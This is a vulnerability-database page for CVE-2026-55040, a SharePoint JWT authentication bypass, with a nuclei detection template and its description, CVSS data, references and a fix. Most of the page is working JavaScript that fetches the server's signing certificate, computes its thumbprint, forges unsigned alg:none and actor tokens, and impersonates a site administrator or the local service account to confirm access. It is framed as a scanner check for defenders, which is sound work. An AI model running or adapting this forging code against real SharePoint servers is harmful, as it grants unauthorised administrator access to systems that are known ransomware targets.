HexBrain

Browse / CVEs / CVE-2026-55040

CVE-2026-55040· CWE-1390

Microsoft SharePoint Server - JWT Authentication Bypass

Exploited in the wild. Listed by CISA on 2026-08-18; known to be used by ransomware.

criticalseverity
9.1CVSS score
69.5%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Microsoft SharePoint Server is vulnerable to an authentication bypass (CVE-2026-55040) in its JWT token validation pipeline (SPJsonWebSecurityTokenHandlerV2). The chain disables signature requirements (RequireSignedTokens=false, accepting alg:none tokens), resolves the actor token x5t thumbprint against the server's own STS signing certificate (freely retrievable from /_layouts/15/metadata/json/1) without verifying the signature, accepts unregistered certificate issuers, and only checks the actor token signature is non-empty. An unauthenticated remote attacker can forge a JWT and authenticate as any SharePoint user, including a site administrator. This template forges such a token and confirms the bypass by obtaining a SharePoint form digest.

Impact

Unauthorized attackers can bypass authentication, gaining unauthorized access to protected resources.

Fix

Update to the latest version of Microsoft Office SharePoint.

How to confirm it

Positive when: contains "CVE-2026-55040-VULNERABLE"

Run it with nuclei: nuclei -id CVE-2026-55040 -u <target>

The full check
id: CVE-2026-55040

info:
  name: Microsoft SharePoint Server - JWT Authentication Bypass
  author: sfewer-r7,DhiyaneshDk
  severity: critical
  description: |
    Microsoft SharePoint Server is vulnerable to an authentication bypass (CVE-2026-55040) in its JWT token validation pipeline (SPJsonWebSecurityTokenHandlerV2). The chain disables signature requirements (RequireSignedTokens=false, accepting alg:none tokens), resolves the actor token x5t thumbprint against the server's own STS signing certificate (freely retrievable from /_layouts/15/metadata/json/1) without verifying the signature, accepts unregistered certificate issuers, and only checks the actor token signature is non-empty. An unauthenticated remote attacker can forge a JWT and authenticate as any SharePoint user, including a site administrator. This template forges such a token and confirms the bypass by obtaining a SharePoint form digest.
  impact: |
    Unauthorized attackers can bypass authentication, gaining unauthorized access to protected resources.
  remediation: |
    Update to the latest version of Microsoft Office SharePoint.
  reference:
    - https://github.com/sfewer-r7/CVE-2026-55040
    - https://www.rapid7.com/blog/post/ra-microsoft-sharepoint-jwt-token-authentication-bypass-cve-2026-55040/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-55040
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040
    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-55040
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-55040
    epss-score: 0.69536
    epss-percentile: 0.99369
    cwe-id: CWE-1390
  metadata:
    max-request: 3
    verified: true
    shodan-query: html:"/_layouts/"
  tags: cve,cve2026,sharepoint,microsoft,auth-bypass,jwt,kev,vkev

javascript:
  - pre-condition: |
      isPortOpen(Host, Port);
    code: |
      var net = require("nuclei/net");

      // ===== SHA-1 (pure JavaScript, RFC 3174) =====
      function sha1(data) {
        function R(n, s) { return ((n << s) | (n >>> (32 - s))) >>> 0; }
        function A(x, y) { return (x + y) >>> 0; }
        var msg = data.slice(), L = msg.length;
        msg.push(0x80);
        while ((msg.length % 64) !== 56) msg.push(0);
        var bl = L * 8;
        msg.push(0, 0, 0, 0, (bl >>> 24) & 0xFF, (bl >>> 16) & 0xFF, (bl >>> 8) & 0xFF, bl & 0xFF);
        var H = [0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476, 0xC3D2E1F0];
        for (var blk = 0; blk < msg.length; blk += 64) {
          var W = [];
          for (var i = 0; i < 16; i++)
            W[i] = ((msg[blk + i * 4] << 24) | (msg[blk + i * 4 + 1] << 16) | (msg[blk + i * 4 + 2] << 8) | msg[blk + i * 4 + 3]) >>> 0;
          for (var i = 16; i < 80; i++)
            W[i] = R(W[i - 3] ^ W[i - 8] ^ W[i - 14] ^ W[i - 16], 1);
          var a = H[0], b = H[1], c = H[2], d = H[3], e = H[4];
          for (var t = 0; t < 80; t++) {
            var f, k;
            if (t < 20) { f = ((b & c) | (~b & d)) >>> 0; k = 0x5A827999; }
            else if (t < 40) { f = (b ^ c ^ d) >>> 0; k = 0x6ED9EBA1; }
            else if (t < 60) { f = ((b & c) | (b & d) | (c & d)) >>> 0; k = 0x8F1BBCDC; }
            else { f = (b ^ c ^ d) >>> 0; k = 0xCA62C1D6; }
            var T = A(A(A(A(R(a, 5), f), e), k >>> 0), W[t]);
            e = d; d = c; c = R(b, 30); b = a; a = T;
          }
          H[0] = A(H[0], a); H[1] = A(H[1], b); H[2] = A(H[2], c); H[3] = A(H[3], d); H[4] = A(H[4], e);
        }
        var out = [];
        for (var j = 0; j < 5; j++) out.push((H[j] >>> 24) & 0xFF, (H[j] >>> 16) & 0xFF, (H[j] >>> 8) & 0xFF, H[j] & 0xFF);
        return out;
      }

      // ===== Base64 / Base64url =====
      function b64enc(bytes) {
        var t = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", r = "";
        for (var i = 0; i < bytes.length; i += 3) {
          var x = bytes[i], y = i + 1 < bytes.length ? bytes[i + 1] : 0, z = i + 2 < bytes.length ? bytes[i + 2] : 0;
          r += t[x >>> 2];
          r += t[((x & 3) << 4) | (y >>> 4)];
          r += i + 1 < bytes.length ? t[((y & 0xF) << 2) | (z >>> 6)] : "=";
          r += i + 2 < bytes.length ? t[z & 0x3F] : "=";
        }
        return r;
      }
      function b64url(bytes) { return b64enc(bytes).replace(/\+/g, "-").replace(/\//g, "_").replace(/=/g, ""); }
      function b64urlStr(s) {
        var b = [];
        for (var i = 0; i < s.length; i++) b.push(s.charCodeAt(i) & 0xFF);
        return b64url(b);
      }
      function b64dec(s) {
        var t = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", r = [];
        s = s.replace(/[^A-Za-z0-9+\/]/g, "");
        for (var i = 0; i < s.length; i += 4) {
          var a = t.indexOf(s[i]), b = t.indexOf(s[i + 1]);
          var c = s[i + 2] ? t.indexOf(s[i + 2]) : -1, d = s[i + 3] ? t.indexOf(s[i + 3]) : -1;
          r.push((a << 2) | (b >>> 4));
          if (c !== -1) r.push(((b & 0xF) << 4) | (c >>> 2));
          if (d !== -1) r.push(((c & 3) << 6) | d);
        }
        return r;
      }

      // ===== HTTP helper — accumulation loop to read full multi-chunk response =====
      function httpReq(method, path, extraHdrs, body) {
        var hdrs = "Host: " + Host + "\r\nUser-Agent: nuclei\r\nConnection: close\r\nContent-Length: 0\r\n";
        for (var k in extraHdrs) hdrs += k + ": " + extraHdrs[k] + "\r\n";
        var raw = method + " " + path + " HTTP/1.1\r\n" + hdrs + "\r\n" + (body || "");
        try {
          var conn;
          try { conn = net.OpenTLS("tcp", Host + ":443"); }
          catch (e) { conn = net.Open("tcp", Host + ":443"); }
          conn.SetTimeout(30);
          conn.Send(raw);
          // Accumulate chunks until EOF (server closes with Connection: close)
          var resp = "";
          var chunk;
          while (true) {
            try {
              chunk = conn.RecvString(4096);
              if (!chunk || chunk.length === 0) break;
              resp += chunk;
            } catch (e) { break; }
          }
          conn.Close();
          return resp;
        } catch (e) { return ""; }
      }

      // ===== Dechunk — handle Transfer-Encoding: chunked if present =====
      function dechunk(body) {
        if (!body || body.indexOf("\r\n") === -1) return body;
        var result = "";
        var pos = 0;
        while (pos < body.length) {
          var nlIdx = body.indexOf("\r\n", pos);
          if (nlIdx === -1) break;
          var sizeLine = body.substring(pos, nlIdx).split(";")[0].trim();
          var size = parseInt(sizeLine, 16);
          if (isNaN(size) || size === 0) break;
          pos = nlIdx + 2;
          if (pos + size > body.length) { result += body.substring(pos); break; }
          result += body.substring(pos, pos + size);
          pos += size + 2;
        }
        return result || body;
      }

      function parseResp(raw) {
        if (!raw) return { code: 0, body: "" };
        var sep = raw.indexOf("\r\n\r\n");
        if (sep === -1) sep = raw.indexOf("\n\n");
        if (sep === -1) return { code: 0, body: raw };
        var headers = raw.substring(0, sep);
        var body = raw.substring(sep + 4);
        if (headers.toLowerCase().indexOf("transfer-encoding: chunked") !== -1) {
          body = dechunk(body);
        }
        var m = headers.match(/^HTTP\/[\d.]+\s+(\d+)/);
        return { code: m ? parseInt(m[1]) : 0, body: body };
      }

      // ===== Main detection logic =====
      var metaR = parseResp(httpReq("GET", "/_layouts/15/metadata/json/1", {}, ""));
      if (metaR.code === 200 && metaR.body && metaR.body.trim()[0] !== "<") {
        var meta = null;
        try { meta = JSON.parse(metaR.body); } catch (e) {}
        if (meta) {
          var issuer = meta.issuer || "";
          var atIdx = issuer.indexOf("@");
          if (atIdx !== -1) {
            var realm = issuer.substring(atIdx + 1);
            var keys = meta.keys || [];
            var certB64 = keys[0] && keys[0].keyValue ? keys[0].keyValue.value : null;
            if (certB64) {
              var certDer = b64dec(certB64);
              var x5t = b64url(sha1(certDer));
              var now = Math.floor(Date.now() / 1000);
              var hostLabel = Host.split(".")[0];
              var cid = "00000003-0000-0ff1-ce00-000000000000";

              var aHdr = JSON.stringify({ alg: "RS256", typ: "JWT", x5t: x5t });
              var aPld = JSON.stringify({ iss: issuer, nameid: issuer, nbf: now - 300, exp: now + 3600 });
              var actorJwt = b64urlStr(aHdr) + "." + b64urlStr(aPld) + ".AAAA";

              var forgeToken = function (nameid, nii, extra) {
                var hdr = JSON.stringify({ alg: "none", typ: "JWT" });
                var pld = {
                  aud: cid + "/" + hostLabel + "@" + realm,
                  iss: issuer,
                  nbf: now - 300,
                  exp: now + 3600,
                  nameid: nameid,
                  nii: nii,
                  trustedfordelegation: "true",
                  actortoken: actorJwt
                };
                if (extra) { for (var ek in extra) pld[ek] = extra[ek]; }
                return b64urlStr(hdr) + "." + b64urlStr(JSON.stringify(pld)) + ".";
              };

              var tryDigest = function (token) {
                return parseResp(httpReq("POST", "/_api/contextinfo",
                  { Authorization: "Bearer " + token, Accept: "application/json" }, ""));
              };

              var output = "";

              // Path 1: UPN derived from hostname domain
              var parts = Host.split(".");
              if (parts.length >= 3) {
                var domain = parts.slice(1).join(".");
                var upn = "administrator@" + domain;
                var tok1 = forgeToken("upn_bypass", "urn:office:idp:activedirectory", { upn: upn });
                var r1 = tryDigest(tok1);
                if (r1.code === 200 && r1.body.indexOf("FormDigestValue") !== -1) {
                  output = "CVE-2026-55040-VULNERABLE\nDIGEST-OBTAINED\nupn=" + upn + "\nrealm=" + realm;
                }
              }

              // Path 2: AccessToken / local service fallback
              if (!output) {
                var tok2 = forgeToken("0#.w|nt authority\\local service", "AccessToken", { upn: "x@localhost" });
                var r2 = tryDigest(tok2);
                if (r2.code === 200 && (r2.body.indexOf("FormDigestValue") !== -1 || r2.body.indexOf("UnauthorizedAccessException") !== -1)) {
                  output = "CVE-2026-55040-VULNERABLE\nAUTH-BYPASS-CONFIRMED\nrealm=" + realm;
                }
              }

              if (output) Export(output);
            }
          }
        }
      }

    args:
      Host: "{{Host}}"
      Port: "443"

    matchers:
      - type: word
        words:
          - "CVE-2026-55040-VULNERABLE"

    extractors:
      - type: regex
        name: realm
        regex:
          - "realm=([0-9a-fA-F-]+)"

References

Use this check only on systems you are authorised to test. Where the data comes from